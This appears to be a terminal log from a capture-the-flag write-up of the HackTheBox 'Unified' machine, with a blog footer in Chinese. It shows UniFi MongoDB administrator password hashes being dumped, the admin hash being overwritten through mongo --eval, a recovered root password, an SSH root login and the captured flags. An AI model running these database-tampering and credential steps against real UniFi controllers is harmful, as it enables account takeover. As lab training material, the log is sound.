"managed_by_another_console" : true
},
"preferences" : {
"alertsPosition" : "top_right",
"allowHiddenDashboardModules" : false,
"browserLogLevel" : "INFO",
"bypassAutoFindDevices" : false,
"bypassConfirmAdoptAndUpgrade" : false,
"bypassConfirmBlock" : false,
"bypassConfirmRestart" : false,
"bypassConfirmUpgrade" : false,
"bypassHybridDashboardNotice" : false,
"bypassDashboardUdmProAd" : false,
"bypassHybridSettingsNotice" : false,
"dateFormat" : "MMM DD YYYY",
"dismissWlanOverrides" : false,
"enableNewUI" : false,
"hideV3SettingsIntro" : true,
"isAppDark" : true,
"isPropertyPanelFixed" : true,
"isRegularGraphForAirViewEnabled" : false,
"isResponsive" : false,
"isSettingsDark" : true,
"isUndockedByDefault" : false,
"noWhatsNew" : false,
"propertyPanelCollapse" : false,
"propertyPanelMultiMode" : true,
"refreshButtonEnabled" : false,
"refreshRate" : "2MIN",
"refreshRateRememberAll" : false,
"rowsPerPage" : 50,
"showAllPanelActions" : false,
"showWifimanAppsBanner" : true,
"timeFormat" : "H:mm",
"use24HourTime" : true,
"useBrowserTheme" : false,
"useSettingsPanelView" : false,
"websocketEnabled" : true,
"withStickyTableActions" : true,
"isUlteModalClosed" : false,
"isUbbAlignmentToolModalClosed" : false,
"offlineClientTimeframe" : 24
},
"preferredLanguage" : "en",
"dashboardConfig" : {
"lastActiveDashboardId" : "61ce269d46e0fb0012d47ec6"
}
},
"requires_new_password" : false,
"email_alert_enabled" : true,
"email_alert_grouping_enabled" : true,
"html_email_enabled" : true,
"is_professional_installer" : false,
"push_alert_enabled" : true
}
{
"_id" : ObjectId("61ce4a63fbce5e00116f424f"),
"email" : "michael@unified.htb",
"name" : "michael",
"x_shadow" : "$6$spHwHYVF$mF/VQrMNGSau0IP7LjqQMfF5VjZBph6VUf4clW3SULqBjDNQwW.BlIqsafYbLWmKRhfWTiZLjhSP.D/M1h5yJ0",
"requires_new_password" : false,
"time_created" : NumberLong(1640909411),
"last_site_name" : "default",
"email_alert_enabled" : false,
"email_alert_grouping_enabled" : false,
"email_alert_grouping_delay" : 60,
"push_alert_enabled" : false
}
{
"_id" : ObjectId("61ce4ce8fbce5e00116f4251"),
"email" : "seamus@unified.htb",
"name" : "Seamus",
"x_shadow" : "$6$NT.hcX..$aFei35dMy7Ddn.O.UFybjrAaRR5UfzzChhIeCs0lp1mmXhVHol6feKv4hj8LaGe0dTiyvq1tmA.j9.kfDP.xC.",
"requires_new_password" : true,
"time_created" : NumberLong(1640910056),
"last_site_name" : "default"
}
{
"_id" : ObjectId("61ce4d27fbce5e00116f4252"),
"email" : "warren@unified.htb",
"name" : "warren",
"x_shadow" : "$6$DDOzp/8g$VXE2i.FgQSRJvTu.8G4jtxhJ8gm22FuCoQbAhhyLFCMcwX95ybr4dCJR/Otas100PZA9fHWgTpWYzth5KcaCZ.",
"requires_new_password" : true,
"time_created" : NumberLong(1640910119),
"last_site_name" : "default"
}
{
"_id" : ObjectId("61ce4d51fbce5e00116f4253"),
"email" : "james@unfiied.htb",
"name" : "james",
"x_shadow" : "$6$ON/tM.23$cp3j11TkOCDVdy/DzOtpEbRC5mqbi1PPUM6N4ao3Bog8rO.ZGqn6Xysm3v0bKtyclltYmYvbXLhNybGyjvAey1",
"requires_new_password" : false,
"time_created" : NumberLong(1640910161),
"last_site_name" : "default"
}
unifi@unified:/home/michael$ mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"SHA_512 Hash Generated"}})'
<4")},{$set:{"x_shadow":"SHA_512 Hash Generated"}})'
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27117/ace
MongoDB server version: 3.6.3
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 0 })
unifi@unified:/home/michael$ mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
<17 ace --eval "db.admin.find().forEach(printjson);"
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27117/ace
MongoDB server version: 3.6.3
{
"_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
"name" : "administrator",
"email" : "administrator@unified.htb",
"x_shadow" : "SHA_512 Hash Generated",
"time_created" : NumberLong(1640900495),
"last_site_name" : "default",
"ui_settings" : {
"neverCheckForUpdate" : true,
"statisticsPrefferedTZ" : "SITE",
"statisticsPreferBps" : "",
"tables" : {
"device" : {
"sortBy" : "type",
"isAscending" : true,
"initialColumns" : [
"type",
"deviceName",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
],
"columns" : [
"type",
"deviceName",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"lastSeen",
"downlink",
"uplink",
"dailyUsage",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
]
},
"client" : {
"sortBy" : "physicalName",
"isAscending" : true,
"initialColumns" : [
"status",
"clientName",
"physicalName",
"connection",
"ip",
"experience",
"Downlink",
"Uplink",
"dailyUsage"
],
"columns" : [
"status",
"clientName",
"mac",
"physicalName",
"connection",
"network",
"interface",
"wifi_band",
"ip",
"experience",
"Downlink",
"Uplink",
"dailyUsage",
"uptime",
"channel",
"Uplink_apPort",
"signal",
"txRate",
"rxRate",
"first_seen",
"last_seen",
"rx_packets",
"tx_packets"
],
"filters" : {
"status" : {
"active" : true
},
"connection_type" : {
"ng" : true,
"na" : true,
"wired" : true,
"vpn" : true
},
"clients_type" : {
"users" : true,
"guests" : true
},
"device" : {
"device" : ""
}
}
},
"unifiDevice" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceNetwork" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceAccess" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceProtect" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceTalk" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"insights/wifiScanner" : {
"sortBy" : "apCount",
"isAscending" : false,
"initialColumns" : [
"apCount",
"essid",
"bssid",
"security",
"radio",
"signal",
"channel",
"band",
"bw",
"oui",
"date",
"ap_mac"
],
"columns" : [
"apCount",
"essid",
"bssid",
"security",
"radio",
"signal",
"channel",
"band",
"bw",
"oui",
"date",
"ap_mac"
]
},
"insights/wifiMan" : {
"sortBy" : "date",
"isAscending" : false,
"initialColumns" : [
"clinet_name",
"client_wifi_experience",
"device_model",
"device_name",
"wlan_essid",
"client_signal",
"wlan_channel_width",
"down",
"up",
"endPoint",
"rate",
"date"
],
"columns" : [
"clinet_name",
"client_wifi_experience",
"device_model",
"device_name",
"wlan_essid",
"client_signal",
"wlan_channel_width",
"down",
"up",
"endPoint",
"rate",
"date"
]
}
},
"topologyViewSettings" : {
"showAllDevices" : true,
"showAllClients" : true,
"show2GClients" : true,
"show5GClients" : true,
"showWiredClients" : true,
"showSSID" : false,
"showWifiExperience" : true,
"showRadioChannel" : false,
"showWifiStandards" : false,
"showWiredSpeed" : false,
"showWiredPorts" : false,
"online" : true,
"offline" : true,
"isolated" : true,
"pending_adoption" : true,
"managed_by_another_console" : true
},
"preferences" : {
"alertsPosition" : "top_right",
"allowHiddenDashboardModules" : false,
"browserLogLevel" : "INFO",
"bypassAutoFindDevices" : false,
"bypassConfirmAdoptAndUpgrade" : false,
"bypassConfirmBlock" : false,
"bypassConfirmRestart" : false,
"bypassConfirmUpgrade" : false,
"bypassHybridDashboardNotice" : false,
"bypassDashboardUdmProAd" : false,
"bypassHybridSettingsNotice" : false,
"dateFormat" : "MMM DD YYYY",
"dismissWlanOverrides" : false,
"enableNewUI" : false,
"hideV3SettingsIntro" : true,
"isAppDark" : true,
"isPropertyPanelFixed" : true,
"isRegularGraphForAirViewEnabled" : false,
"isResponsive" : false,
"isSettingsDark" : true,
"isUndockedByDefault" : false,
"noWhatsNew" : false,
"propertyPanelCollapse" : false,
"propertyPanelMultiMode" : true,
"refreshButtonEnabled" : false,
"refreshRate" : "2MIN",
"refreshRateRememberAll" : false,
"rowsPerPage" : 50,
"showAllPanelActions" : false,
"showWifimanAppsBanner" : true,
"timeFormat" : "H:mm",
"use24HourTime" : true,
"useBrowserTheme" : false,
"useSettingsPanelView" : false,
"websocketEnabled" : true,
"withStickyTableActions" : true,
"isUlteModalClosed" : false,
"isUbbAlignmentToolModalClosed" : false,
"offlineClientTimeframe" : 24
},
"preferredLanguage" : "en",
"dashboardConfig" : {
"lastActiveDashboardId" : "61ce269d46e0fb0012d47ec6"
}
},
"requires_new_password" : false,
"email_alert_enabled" : true,
"email_alert_grouping_enabled" : true,
"html_email_enabled" : true,
"is_professional_installer" : false,
"push_alert_enabled" : true
}
{
"_id" : ObjectId("61ce4a63fbce5e00116f424f"),
"email" : "michael@unified.htb",
"name" : "michael",
"x_shadow" : "$6$spHwHYVF$mF/VQrMNGSau0IP7LjqQMfF5VjZBph6VUf4clW3SULqBjDNQwW.BlIqsafYbLWmKRhfWTiZLjhSP.D/M1h5yJ0",
"requires_new_password" : false,
"time_created" : NumberLong(1640909411),
"last_site_name" : "default",
"email_alert_enabled" : false,
"email_alert_grouping_enabled" : false,
"email_alert_grouping_delay" : 60,
"push_alert_enabled" : false
}
{
"_id" : ObjectId("61ce4ce8fbce5e00116f4251"),
"email" : "seamus@unified.htb",
"name" : "Seamus",
"x_shadow" : "$6$NT.hcX..$aFei35dMy7Ddn.O.UFybjrAaRR5UfzzChhIeCs0lp1mmXhVHol6feKv4hj8LaGe0dTiyvq1tmA.j9.kfDP.xC.",
"requires_new_password" : true,
"time_created" : NumberLong(1640910056),
"last_site_name" : "default"
}
{
"_id" : ObjectId("61ce4d27fbce5e00116f4252"),
"email" : "warren@unified.htb",
"name" : "warren",
"x_shadow" : "$6$DDOzp/8g$VXE2i.FgQSRJvTu.8G4jtxhJ8gm22FuCoQbAhhyLFCMcwX95ybr4dCJR/Otas100PZA9fHWgTpWYzth5KcaCZ.",
"requires_new_password" : true,
"time_created" : NumberLong(1640910119),
"last_site_name" : "default"
}
{
"_id" : ObjectId("61ce4d51fbce5e00116f4253"),
"email" : "james@unfiied.htb",
"name" : "james",
"x_shadow" : "$6$ON/tM.23$cp3j11TkOCDVdy/DzOtpEbRC5mqbi1PPUM6N4ao3Bog8rO.ZGqn6Xysm3v0bKtyclltYmYvbXLhNybGyjvAey1",
"requires_new_password" : false,
"time_created" : NumberLong(1640910161),
"last_site_name" : "default"
}
unifi@unified:/home/michael$ mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$RCInOZmoeeIqf2UB$r6CVyIePrPLNM3qTR4.5HU6qVKlHBH4n/UB4QuDwwzWoRydxtMN5g9Km0FKteNjvujK/hbvkzi6eeCN.NVcjX1"}})'
<wzWoRydxtMN5g9Km0FKteNjvujK/hbvkzi6eeCN.NVcjX1"}})'
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27117/ace
MongoDB server version: 3.6.3
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
unifi@unified:/home/michael$ mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
<17 ace --eval "db.admin.find().forEach(printjson);"
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27117/ace
MongoDB server version: 3.6.3
{
"_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
"name" : "administrator",
"email" : "administrator@unified.htb",
"x_shadow" : "$6$RCInOZmoeeIqf2UB$r6CVyIePrPLNM3qTR4.5HU6qVKlHBH4n/UB4QuDwwzWoRydxtMN5g9Km0FKteNjvujK/hbvkzi6eeCN.NVcjX1",
"time_created" : NumberLong(1640900495),
"last_site_name" : "default",
"ui_settings" : {
"neverCheckForUpdate" : true,
"statisticsPrefferedTZ" : "SITE",
"statisticsPreferBps" : "",
"tables" : {
"device" : {
"sortBy" : "type",
"isAscending" : true,
"initialColumns" : [
"type",
"deviceName",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
],
"columns" : [
"type",
"deviceName",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"lastSeen",
"downlink",
"uplink",
"dailyUsage",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
]
},
"client" : {
"sortBy" : "physicalName",
"isAscending" : true,
"initialColumns" : [
"status",
"clientName",
"physicalName",
"connection",
"ip",
"experience",
"Downlink",
"Uplink",
"dailyUsage"
],
"columns" : [
"status",
"clientName",
"mac",
"physicalName",
"connection",
"network",
"interface",
"wifi_band",
"ip",
"experience",
"Downlink",
"Uplink",
"dailyUsage",
"uptime",
"channel",
"Uplink_apPort",
"signal",
"txRate",
"rxRate",
"first_seen",
"last_seen",
"rx_packets",
"tx_packets"
],
"filters" : {
"status" : {
"active" : true
},
"connection_type" : {
"ng" : true,
"na" : true,
"wired" : true,
"vpn" : true
},
"clients_type" : {
"users" : true,
"guests" : true
},
"device" : {
"device" : ""
}
}
},
"unifiDevice" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceNetwork" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceAccess" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceProtect" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceTalk" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"insights/wifiScanner" : {
"sortBy" : "apCount",
"isAscending" : false,
"initialColumns" : [
"apCount",
"essid",
"bssid",
"security",
"radio",
"signal",
"channel",
"band",
"bw",
"oui",
"date",
"ap_mac"
],
"columns" : [
"apCount",
"essid",
"bssid",
"security",
"radio",
"signal",
"channel",
"band",
"bw",
"oui",
"date",
"ap_mac"
]
},
"insights/wifiMan" : {
"sortBy" : "date",
"isAscending" : false,
"initialColumns" : [
"clinet_name",
"client_wifi_experience",
"device_model",
"device_name",
"wlan_essid",
"client_signal",
"wlan_channel_width",
"down",
"up",
"endPoint",
"rate",
"date"
],
"columns" : [
"clinet_name",
"client_wifi_experience",
"device_model",
"device_name",
"wlan_essid",
"client_signal",
"wlan_channel_width",
"down",
"up",
"endPoint",
"rate",
"date"
]
}
},
"topologyViewSettings" : {
"showAllDevices" : true,
"showAllClients" : true,
"show2GClients" : true,
"show5GClients" : true,
"showWiredClients" : true,
"showSSID" : false,
"showWifiExperience" : true,
"showRadioChannel" : false,
"showWifiStandards" : false,
"showWiredSpeed" : false,
"showWiredPorts" : false,
"online" : true,
"offline" : true,
"isolated" : true,
"pending_adoption" : true,
"managed_by_another_console" : true
},
"preferences" : {
"alertsPosition" : "top_right",
"allowHiddenDashboardModules" : false,
"browserLogLevel" : "INFO",
"bypassAutoFindDevices" : false,
"bypassConfirmAdoptAndUpgrade" : false,
"bypassConfirmBlock" : false,
"bypassConfirmRestart" : false,
"bypassConfirmUpgrade" : false,
"bypassHybridDashboardNotice" : false,
"bypassDashboardUdmProAd" : false,
"bypassHybridSettingsNotice" : false,
"dateFormat" : "MMM DD YYYY",
"dismissWlanOverrides" : false,
"enableNewUI" : false,
"hideV3SettingsIntro" : true,
"isAppDark" : true,
"isPropertyPanelFixed" : true,
"isRegularGraphForAirViewEnabled" : false,
"isResponsive" : false,
"isSettingsDark" : true,
"isUndockedByDefault" : false,
"noWhatsNew" : false,
"propertyPanelCollapse" : false,
"propertyPanelMultiMode" : true,
"refreshButtonEnabled" : false,
"refreshRate" : "2MIN",
"refreshRateRememberAll" : false,
"rowsPerPage" : 50,
"showAllPanelActions" : false,
"showWifimanAppsBanner" : true,
"timeFormat" : "H:mm",
"use24HourTime" : true,
"useBrowserTheme" : false,
"useSettingsPanelView" : false,
"websocketEnabled" : true,
"withStickyTableActions" : true,
"isUlteModalClosed" : false,
"isUbbAlignmentToolModalClosed" : false,
"offlineClientTimeframe" : 24
},
"preferredLanguage" : "en",
"dashboardConfig" : {
"lastActiveDashboardId" : "61ce269d46e0fb0012d47ec6"
}
},
"requires_new_password" : false,
"email_alert_enabled" : true,
"email_alert_grouping_enabled" : true,
"html_email_enabled" : true,
"is_professional_installer" : false,
"push_alert_enabled" : true
}
{
"_id" : ObjectId("61ce4a63fbce5e00116f424f"),
"email" : "michael@unified.htb",
"name" : "michael",
"x_shadow" : "$6$spHwHYVF$mF/VQrMNGSau0IP7LjqQMfF5VjZBph6VUf4clW3SULqBjDNQwW.BlIqsafYbLWmKRhfWTiZLjhSP.D/M1h5yJ0",
"requires_new_password" : false,
"time_created" : NumberLong(1640909411),
"last_site_name" : "default",
"email_alert_enabled" : false,
"email_alert_grouping_enabled" : false,
"email_alert_grouping_delay" : 60,
"push_alert_enabled" : false
}
{
"_id" : ObjectId("61ce4ce8fbce5e00116f4251"),
"email" : "seamus@unified.htb",
"name" : "Seamus",
"x_shadow" : "$6$NT.hcX..$aFei35dMy7Ddn.O.UFybjrAaRR5UfzzChhIeCs0lp1mmXhVHol6feKv4hj8LaGe0dTiyvq1tmA.j9.kfDP.xC.",
"requires_new_password" : true,
"time_created" : NumberLong(1640910056),
"last_site_name" : "default"
}
{
"_id" : ObjectId("61ce4d27fbce5e00116f4252"),
"email" : "warren@unified.htb",
"name" : "warren",
"x_shadow" : "$6$DDOzp/8g$VXE2i.FgQSRJvTu.8G4jtxhJ8gm22FuCoQbAhhyLFCMcwX95ybr4dCJR/Otas100PZA9fHWgTpWYzth5KcaCZ.",
"requires_new_password" : true,
"time_created" : NumberLong(1640910119),
"last_site_name" : "default"
}
{
"_id" : ObjectId("61ce4d51fbce5e00116f4253"),
"email" : "james@unfiied.htb",
"name" : "james",
"x_shadow" : "$6$ON/tM.23$cp3j11TkOCDVdy/DzOtpEbRC5mqbi1PPUM6N4ao3Bog8rO.ZGqn6Xysm3v0bKtyclltYmYvbXLhNybGyjvAey1",
"requires_new_password" : false,
"time_created" : NumberLong(1640910161),
"last_site_name" : "default"
}
unifi@unified:/home/michael$
unifi@unified:/home/michael$ cat user.txt
cat user.txt
6ced1a6a89e666c0620cdb10262ba127
unifi@unified:/home/michael$ ps aux | grep mongo
ps aux | grep mongo
unifi 67 0.4 4.1 1103744 85060 ? Sl 12:54 0:11 bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117 --unixSocketPrefix /usr/lib/unifi/run --logRotate reopen --logappend --logpath /usr/lib/unifi/logs/mongod.log --pidfilepath /usr/lib/unifi/run/mongod.pid --bind_ip 127.0.0.1
NotACrackablePassword4U2022
┌──(kwkl㉿kwkl)-[~]
└─$ ssh root@10.129.223.34
The authenticity of host '10.129.223.34 (10.129.223.34)' can't be established.
ECDSA key fingerprint is SHA256:7+5qUqmyILv7QKrQXPArj5uYqJwwe7mpUbzD/7cl44E.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.223.34' (ECDSA) to the list of known hosts.
root@10.129.223.34's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
root@unified:~# id
uid=0(root) gid=0(root) groups=0(root)
root@unified:~# id
uid=0(root) gid=0(root) groups=0(root)
root@unified:~# cat flag.txt
cat: flag.txt: No such file or directory
root@unified:~# ls
root.txt
root@unified:~# cat root.txt
e50bc93c75b634e4b272d2f771c33681
root@unified:~#
route add -net 10.4.0.0 netmask 255.255.0.0 gw 172.28.28.112
888
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
